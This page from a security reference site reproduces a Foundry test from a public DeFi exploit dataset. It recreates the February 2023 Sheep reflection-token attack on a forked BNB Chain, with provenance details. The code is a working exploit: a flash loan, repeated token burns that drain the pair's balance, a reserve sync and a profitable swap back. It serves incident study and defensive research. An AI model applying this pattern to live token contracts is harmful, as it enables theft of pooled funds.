Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/Sheep_exp.sol

Public reproduction file for dataset entry - Sheep.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/Sheep_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1623999717482045440
9// https://twitter.com/BlockSecTeam/status/1624077078852210691
10// @TX
11// https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e
12// Related Events
13// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token
14// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token
16interface RDeflationERC20 is IERC20 {
17 function burn(
18 uint256 amount
19 ) external;
22contract ContractTest is Test {
23 RDeflationERC20 SHEEP = RDeflationERC20(0x0025B42bfc22CbbA6c02d23d4Ec2aBFcf6E014d4);
24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26 Uni_Pair_V2 Pair = Uni_Pair_V2(0x912DCfBf1105504fB4FF8ce351BEb4d929cE9c24);
27 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 function setUp() public {
32 cheats.createSelectFork("bsc", 25_543_755);
33 }
35 function testExploit() public {
36 DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));
38 emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
39 }
41 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
42 WBNBToSHEEP();
43 while (SHEEP.balanceOf(address(Pair)) > 2) {
44 uint256 burnAmount = SHEEP.balanceOf(address(this));
45 SHEEP.burn(burnAmount);
46 }
47 Pair.sync();
48 SHEEPToWBNB();
49 WBNB.transfer(dodo, 380 * 1e18);
50 }
52 function WBNBToSHEEP() internal {
53 WBNB.approve(address(Router), type(uint256).max);
54 address[] memory path = new address[](2);
55 path[0] = address(WBNB);
56 path[1] = address(SHEEP);
57 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
58 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
59 );
60 }
62 function SHEEPToWBNB() internal {
63 SHEEP.approve(address(Router), type(uint256).max);
64 address[] memory path = new address[](2);
65 path[0] = address(SHEEP);
66 path[1] = address(WBNB);
67 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
68 SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp
69 );
70 }

Analysis

Dataset entry

Public Foundry test for “- Sheep” (2023-02-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Sheep
Path
src/test/2023-02/Sheep_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
18bc19279d5950b5d5b39fb322168ee6782d225d
Language
Solidity
Size
72 lines
Date
2023-02-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/Sheep_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 18bc19279d5950b5d5b39fb322168ee6782d225d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.